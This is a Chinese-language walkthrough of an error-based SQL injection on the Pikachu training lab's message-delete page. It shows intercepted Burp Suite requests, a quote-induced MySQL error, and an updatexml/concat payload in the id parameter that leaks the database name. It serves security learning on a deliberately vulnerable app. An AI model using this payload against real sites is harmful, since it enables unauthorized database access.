pikachu sql inject delete 注入

留言板输入几条信息

出现删除按钮，点他

通过burpsuite拦截请求，请求报文如下

GET /vul/sqli/sqli_del.php?id=57 HTTP/1.1
Host: 192.168.1.9:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.1.9:8080/vul/sqli/sqli_del.php
Cookie: security=high; PHPSESSID=fftr9buiig10nl6bda5f22li59
Upgrade-Insecure-Requests: 1

推测id=57处可能存在注入点，发送给repeater；并修改报文

57后面加一个'，点击send，返回报文果然印证了猜测

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

那么这里就是一个注入点

57 后面加一段

or updatexml(1, concat(0x7e, database()), 0)

右键选中id对应的value，选择Convert selection ，选择url ，选择 Url-encode key character; 将选中的文字urlencode

GET /vul/sqli/sqli_del.php?id=57+or+updatexml(1,+concat(0x7e,+database()),+0) HTTP/1.1
Host: 192.168.1.9:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.1.9:8080/vul/sqli/sqli_del.php
Cookie: security=high; PHPSESSID=fftr9buiig10nl6bda5f22li59
Upgrade-Insecure-Requests: 1

可以看出空格都替换成了+

点击发送后，同样的（也是利用Xpath不认识~的原理）爆出了数据库名称

XPATH syntax error: '~pikachu'